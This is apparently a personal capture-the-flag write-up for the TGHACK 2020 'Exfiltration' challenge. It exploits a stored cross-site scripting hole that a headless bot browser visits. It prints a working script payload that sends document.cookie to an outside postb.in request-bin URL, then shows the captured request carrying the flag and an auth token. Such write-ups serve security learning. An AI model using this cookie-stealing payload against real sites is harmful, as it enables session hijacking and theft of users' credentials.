

TGHACK 2020 Exfiltration

Saturday, March 7, 2020 12:16 PM

Simple text field vuln to XSS. A robot browser will read your post.

Get a url from pasteb.in and do:

```
<script>document.location = '<your postb.in url here>' + '?data=' + document.cookie;</script>
```

e.g.

```
<script>document.location='https://postb.in/1586399699025-5537020156625?data='+document.cookie</script>
```

Wait a bit then refresh postb.in to get:

GET /1586399699025-5537020156625 2020-04-09T02:35:37:554Z [Req	
Headers	Query
x-real-ip: 35.239.229.15	data: flag=TG20{exfiltration_is_best_filtration}
host: postb.in	
connection: close	
upgrade-insecure-requests: 1	
user-agent: Mozilla/5.0 (X11; Linux x86_64)	
AppleWebKit/537.36 (KHTML, like Gecko)	
HeadlessChrome/80.0.3987.0 Safari/537.36	
sec-fetch-dest: document	
headless-auth:	
472a7cb33a9075199b18ed830211b4af6618d5afd8563489e2cdc0d5ca6bc4f5-81f675b70cda89d41e6899679a54dfb712a78e47061beca2ae83907d7087dc07	